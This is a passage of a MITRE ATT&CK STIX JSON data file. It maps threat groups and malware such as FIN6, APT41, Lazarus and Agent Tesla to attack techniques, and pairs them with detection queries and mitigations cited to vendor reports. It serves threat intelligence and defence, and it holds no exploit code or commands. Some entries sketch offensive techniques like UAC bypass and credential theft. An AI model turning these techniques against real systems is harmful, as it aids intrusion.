Algorithmically Generated Domains Using Data Visualization and N-Grams Methods . Retrieved April 26, 2019.","url":"http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf"},{"source_name":"Elastic Predicting DGA","description":"Ahuja, A., Anderson, H., Grant, D., Woodbridge, J.. (2016, November 2). Predicting Domain Generation Algorithms with Long Short-Term Memory Networks. Retrieved April 26, 2019.","url":"https://arxiv.org/pdf/1611.00791.pdf"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ade72dc6-559e-4a84-9024-1a862faec6a0","type":"relationship","created":"2017-05-31T21:33:27.071Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf","description":"FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.","source_name":"FireEye FIN6 April 2016"}],"modified":"2019-06-28T14:59:17.521Z","description":"[FIN6](https://attack.mitre.org/groups/G0037) used publicly available tools (including Microsoft's built-in SQL querying tool, osql.exe) to map the internal network and conduct reconnaissance against Active Directory, Structured Query Language (SQL) servers, and NetBIOS.(Citation: FireEye FIN6 April 2016)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ade847d9-4ce6-4b63-accb-7070c926e5b5","type":"relationship","created":"2020-11-13T20:12:59.690Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Grandoreiro April 2020","url":"https://www.welivesecurity.com/2020/04/28/grandoreiro-how-engorged-can-exe-get/","description":"ESET. (2020, April 28). Grandoreiro: How engorged can an EXE get?. Retrieved November 13, 2020."}],"modified":"2020-11-13T20:12:59.690Z","description":"[Grandoreiro](https://attack.mitre.org/software/S0531) can decrypt its encrypted internal strings.(Citation: ESET Grandoreiro April 2020)","relationship_type":"uses","source_ref":"malware--958b5d06-8bb0-4c5b-a2e7-0130fe654ac7","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ade8894f-e9fd-4391-98c3-d43ad2d7ab9c","type":"relationship","created":"2019-05-02T01:07:36.954Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cylance Shaheen Nov 2018","url":"https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517","description":"Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019."},{"description":"Gannon, M. (2019, February 11). With Upgrades in Delivery and Support Infrastructure, Revenge RAT Malware is a Bigger Threat. Retrieved May 1, 2019.","url":"https://cofense.com/upgrades-delivery-support-infrastructure-revenge-rat-malware-bigger-threat/","source_name":"Cofense RevengeRAT Feb 2019"}],"modified":"2019-06-12T20:05:18.272Z","description":"[Revenge RAT](https://attack.mitre.org/software/S0379) has a plugin for microphone interception.(Citation: Cylance Shaheen Nov 2018)(Citation: Cofense RevengeRAT Feb 2019)","relationship_type":"uses","source_ref":"malware--bdb27a1d-1844-42f1-a0c0-826027ae0326","target_ref":"attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ade90c6d-38cd-4d04-9883-489b8de6f40a","created":"2022-03-30T14:26:51.842Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-20T18:43:43.550Z","description":"Monitor container creation to detect suspicious or unknown images being deployed. Ensure that only authorized images are being used in the environment, especially in sensitive areas.\n\nAnalytic 1 - Creation of unexpected or unauthorized containers\n\nsourcetype=docker:daemon OR sourcetype=kubernetes:event\n| search action=\"create\"\n| where image NOT IN (\"known_images_list\")\n","relationship_type":"detects","source_ref":"x-mitre-data-component--a5ae90ca-0c4b-481c-959f-0eb18a7ff953","target_ref":"attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--adeeaadc-9306-4d57-915b-d1e2d07b4387","created":"2024-08-26T18:15:21.032Z","revoked":false,"external_references":[{"source_name":"Microsoft Moonstone Sleet 2024","description":"Microsoft Threat Intelligence. (2024, May 28). Moonstone Sleet emerges as new North Korean threat actor with new bag of tricks. Retrieved August 26, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2024/05/28/moonstone-sleet-emerges-as-new-north-korean-threat-actor-with-new-bag-of-tricks/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T18:15:21.032Z","description":"[Moonstone Sleet](https://attack.mitre.org/groups/G1036) retrieved a final stage payload from command and control infrastructure during initial installation on victim systems.(Citation: Microsoft Moonstone Sleet 2024)","relationship_type":"uses","source_ref":"intrusion-set--e6db1e55-b199-4b6b-8633-989345ee45e0","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--adf7a6a5-91b0-4c37-9fa5-0bfbb382a838","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Dragonfly","description":"Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.","url":"https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments"}],"modified":"2020-03-19T22:23:55.584Z","description":"Some [Backdoor.Oldrea](https://attack.mitre.org/software/S0093) samples contain a publicly available Web browser password recovery tool.(Citation: Symantec Dragonfly)","relationship_type":"uses","source_ref":"malware--083bb47b-02c8-4423-81a2-f9ef58572974","target_ref":"attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--adfb3bef-264c-46c7-ac54-de9a0ac382b7","created":"2022-03-30T14:26:51.871Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T14:49:19.532Z","description":"Monitor contextual data about a running process, which may include information such as environment variables, image name, user/owner that may perform sudo caching and/or use the sudoers file to elevate privileges.","relationship_type":"detects","source_ref":"x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1","target_ref":"attack-pattern--1365fe3b-0f50-455d-b4da-266ce31c23b0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--adfeb8d8-1ce1-4abe-9861-21e2b26e8caa","type":"relationship","created":"2020-02-04T12:58:40.996Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-04T12:58:40.996Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580","target_ref":"attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--adfee22f-8471-4e82-b85c-21dcbb93ddde","created":"2023-12-04T20:49:19.315Z","revoked":false,"external_references":[{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-04T20:49:19.315Z","description":"(Citation: Microsoft Ransomware as a Service)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"malware--d9f7383c-95ec-4080-bbce-121c9384457b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--adffe817-2460-49c7-be30-44afea58d7f8","type":"relationship","created":"2020-03-24T21:16:16.730Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-31T13:08:37.145Z","description":"Do not allow administrator accounts that have permissions to modify the Web content of organization login portals to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.","relationship_type":"mitigates","source_ref":"course-of-action--9bb9e696-bff8-4ae1-9454-961fc7d91d5f","target_ref":"attack-pattern--69e5226d-05dc-4f15-95d7-44f5ed78d06e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ae04e50b-74cc-472f-9bab-ffd2a60aa822","type":"relationship","created":"2022-03-30T14:26:51.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.845Z","description":"Domain registration information is, by design, captured in public registration logs. Consider use of services that may aid in tracking of newly acquired domains, such as WHOIS databases and/or passive DNS. In some cases it may be possible to pivot on known pieces of domain registration information to uncover other infrastructure purchased by the adversary. Consider monitoring for domains created with a similar structure to your own, including under a different TLD. Though various tools and services exist to track, query, and monitor domain name registration information, tracking across multiple DNS infrastructures can require multiple tools/services or more advanced analytics.(Citation: ThreatConnect Infrastructure Dec 2020) Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access and Command and Control.","source_ref":"x-mitre-data-component--ff9b665a-598b-4bcb-8b2a-a87566aa1256","target_ref":"attack-pattern--40f5caa0-4cb7-4117-89fc-d421bb493df3","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ThreatConnect Infrastructure Dec 2020","description":"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.","url":"https://threatconnect.com/blog/infrastructure-research-hunting/"}]},{"type":"relationship","id":"relationship--ae05ae0a-7806-491a-8350-33600df44d2a","created":"2022-01-09T22:20:52.415Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:03:44.684Z","description":"[Zox](https://attack.mitre.org/software/S0672) has the ability to list processes.(Citation: Novetta-Axiom)","relationship_type":"uses","source_ref":"malware--fb28627c-d6ea-4c35-b138-ab5e96ae5445","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ae0b30fc-4a2d-47d4-8d69-d96d68dfe20f","type":"relationship","created":"2022-03-30T14:26:51.843Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.843Z","description":"Monitor executed commands and arguments that may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ae0b54d4-8aac-400a-ab6a-9656144c77cc","type":"relationship","created":"2020-11-09T14:52:45.610Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Kimsuky November 2020","url":"https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite","description":"Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}],"modified":"2021-04-22T13:46:15.393Z","description":"[CSPY Downloader](https://attack.mitre.org/software/S0527) can bypass UAC using the SilentCleanup task to execute the binary with elevated privileges.(Citation: Cybereason Kimsuky November 2020)","relationship_type":"uses","source_ref":"tool--5256c0f8-9108-4c92-8b09-482dfacdcd94","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ae0b56df-e692-4210-85e4-8ded095cdbc3","type":"relationship","created":"2019-10-04T18:43:57.650Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Pawn Storm OAuth 2017","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks","description":"Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019."}],"modified":"2020-03-20T16:37:06.239Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has used several malicious applications that abused OAuth access tokens to gain access to target email accounts, including Gmail and Yahoo Mail.(Citation: Trend Micro Pawn Storm OAuth 2017)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ae11039c-6711-4860-a1b6-c7a8e0bcbbfb","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf","description":"Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.","source_name":"PTSecurity Cobalt Dec 2016"}],"modified":"2019-07-26T23:38:34.282Z","description":"(Citation: PTSecurity Cobalt Dec 2016)","relationship_type":"uses","source_ref":"intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a","target_ref":"tool--d8d19e33-94fd-4aa3-b94a-08ee801a2153","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ae12b657-a640-40c6-99b7-931ed10705de","created":"2019-09-23T23:08:25.336Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"},{"source_name":"Rostovcev APT41 2021","description":"Nikita Rostovcev. (2022, August 18). APT41 World Tour 2021 on a tight schedule. Retrieved February 22, 2024.","url":"https://www.group-ib.com/blog/apt41-world-tour-2021/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-03T19:37:38.102Z","description":"[APT41](https://attack.mitre.org/groups/G0096) has executed whoami commands, including using the WMIEXEC utility to execute this on remote machines.(Citation: FireEye APT41 Aug 2019)(Citation: Rostovcev APT41 2021)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ae13555e-3275-43c5-b388-59478160d01b","created":"2020-03-13T17:48:59.223Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Vulnerability and Exploit Detector","description":"Kanthak, S.. (2016, July 20). Vulnerability and Exploit Detector. Retrieved February 3, 2017.","url":"https://skanthak.homepage.t-online.de/sentinel.html"},{"source_name":"Microsoft CreateProcess","description":"Microsoft. (n.d.). CreateProcess function. Retrieved September 12, 2024.","url":"https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa"},{"source_name":"Microsoft Dynamic-Link Library Security","description":"Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved July 25, 2016.","url":"https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-security?redirectedfrom=MSDN"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:25:57.060Z","description":"Find and eliminate path interception weaknesses in program configuration files, scripts, the PATH environment variable, services, and in shortcuts by surrounding PATH variables with quotation marks when functions allow for them. Be aware of the search order Windows uses for executing or loading binaries and use fully qualified paths wherever appropriate.\n\nClean up old Windows Registry keys when software is uninstalled to avoid keys with no associated legitimate binaries. Periodically search for and correct or report path interception weaknesses on systems that may have been introduced using custom or available tools that report software using insecure path configurations.(Citation: Microsoft CreateProcess)(Citation: Microsoft Dynamic-Link Library Security)(Citation: Vulnerability and Exploit Detector)","relationship_type":"mitigates","source_ref":"course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8","target_ref":"attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ae151f0a-374b-47c0-a4e6-b9bdc7ee55b5","type":"relationship","created":"2020-05-19T17:32:26.395Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Agent Tesla April 2020","url":"https://blog.malwarebytes.com/threat-analysis/2020/04/new-agenttesla-variant-steals-wifi-credentials/","description":"Jazi, H. (2020, April 16). New AgentTesla variant steals WiFi credentials. Retrieved May 19, 2020."}],"modified":"2020-05-20T19:41:37.828Z","description":"[Agent Tesla](https://attack.mitre.org/software/S0331) has the ability to steal credentials from FTP clients and wireless profiles.(Citation: Malwarebytes Agent Tesla April 2020)","relationship_type":"uses","source_ref":"malware--e7a5229f-05eb-440e-b982-9a6d2b2b87c8","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ae1592ae-15a3-45e3-a509-4fe9be3f9ed9","created":"2023-03-17T15:01:40.524Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Lazarus Jun 2020","description":"Breitenbacher, D and Osis, K. (2020, June 17). OPERATION IN(TER)CEPTION: Targeted Attacks Against European Aerospace and Military Companies. Retrieved December 20, 2021.","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_Operation_Interception.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-13T21:26:07.943Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) used `regsvr32` to execute malware.(Citation: ESET Lazarus Jun 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--b97f1d35-4249-4486-a6b5-ee60ccf24fab","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ae1600d0-8271-4709-a1a6-6fb62494fa23","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/connect/blogs/sowbug-cyber-espionage-group-targets-south-american-and-southeast-asian-governments","description":"Symantec Security Response. (2017, November 7). Sowbug: Cyber espionage group targets South American and Southeast Asian governments. Retrieved November 16, 2017.","source_name":"Symantec Sowbug Nov 2017"}],"modified":"2020-03-16T20:16:52.586Z","description":"[Sowbug](https://attack.mitre.org/groups/G0054) has used keylogging tools.(Citation: Symantec Sowbug Nov 2017)","relationship_type":"uses","source_ref":"intrusion-set--d1acfbb3-647b-4723-9154-800ec119006e","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ae16d5d7-9a6f-4865-863a-2ce336b45795","type":"relationship","created":"2020-10-19T19:42:19.956Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco IOS Software Integrity Assurance - Deploy Signed IOS","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#34","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Deploy Signed IOS. Retrieved October 21, 2020."}],"modified":"2020-10-22T16:58:38.939Z","description":"Many vendors provide digitally signed operating system images to validate the integrity of the software used on their platform. Make use of this feature where possible in order to prevent and/or detect attempts by adversaries to compromise the system image. (Citation: Cisco IOS Software Integrity Assurance - Deploy Signed IOS)","relationship_type":"mitigates","source_ref":"course-of-action--590777b3-b475-4c7c-aaf8-f4a73b140312","target_ref":"attack-pattern--ae7f3575-0a5e-427e-991b-fe03ad44c754","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ae1de9c5-6bc0-459a-b4ca-568139a5ee41","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/","description":"Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.","source_name":"Palo Alto OilRig May 2016"},{"url":"https://www.brighttalk.com/webcast/10703/296317/apt34-new-targeted-attack-in-the-middle-east","description":"Davis, S. and Caban, D. (2017, December 19). APT34 - New Targeted Attack in the Middle East. Retrieved December 20, 2017.","source_name":"FireEye APT34 Webinar Dec 2017"},{"description":"Meyers, A. (2018, November 27). Meet CrowdStrike’s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018.","url":"https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/","source_name":"Crowdstrike Helix Kitten Nov 2018"}],"modified":"2019-09-04T22:55:41.897Z","description":"(Citation: Palo Alto OilRig May 2016)(Citation: FireEye APT34 Webinar Dec 2017)(Citation: Crowdstrike Helix Kitten Nov 2018)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"malware--eff1a885-6f90-42a1-901f-eef6e7a1905e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--ae1ee1dc-6017-4177-b34c-70db166a939e","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Sednit Part 1","description":"ESET. (2016, October). En Route with Sednit - Part 1: Approaching the Target. Retrieved November 8, 2016.","url":"http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part1.pdf"},{"source_name":"F-Secure Sofacy 2015","description":"F-Secure. (2015, September 8). Sofacy Recycles Carberp and Metasploit Code. Retrieved August 3, 2016.","url":"https://labsblog.f-secure.com/2015/09/08/sofacy-recycles-carberp-and-metasploit-code/"},{"source_name":"Talos Seduploader Oct 2017","description":"Mercer, W., et al. (2017, October 22). \"Cyber Conflict\" Decoy Document Used in Real Cyber Conflict. Retrieved November 2, 2018.","url":"https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T01:50:09.159Z","description":"Many strings in [JHUHUGIT](https://attack.mitre.org/software/S0044) are obfuscated with a XOR algorithm.(Citation: F-Secure Sofacy 2015)(Citation: ESET Sednit Part 1)(Citation: Talos Seduploader Oct 2017)","relationship_type":"uses","source_ref":"malware--8ae43c46-57ef-47d5-a77a-eebb35628db2","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ae260a19-f992-4f2e-a0c8-beeef389bb70","type":"relationship","created":"2022-03-30T14:26:51.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.872Z","description":"Systemd service unit files may be detected by auditing file creation and modification events within the /etc/systemd/system, /usr/lib/systemd/system/, and /home//.config/systemd/user/ directories, as well as associated symbolic links","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--dfefe2ed-4389-4318-8762-f0272b350a1b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--ae28ef39-1e4f-41e5-9ffa-877030753852","created":"2021-12-08T19:20:55.378Z","x_mitre_version":"1.0","external_references":[{"source_name":"Gigamon Berserk Bear October 2021","url":"https://vblocalhost.com/uploads/VB2021-Slowik.pdf","description":"Slowik, J. (2021, October). THE BAFFLING BERSERK BEAR: A DECADE’S ACTIVITY TARGETING CRITICAL INFRASTRUCTURE. Retrieved December 6, 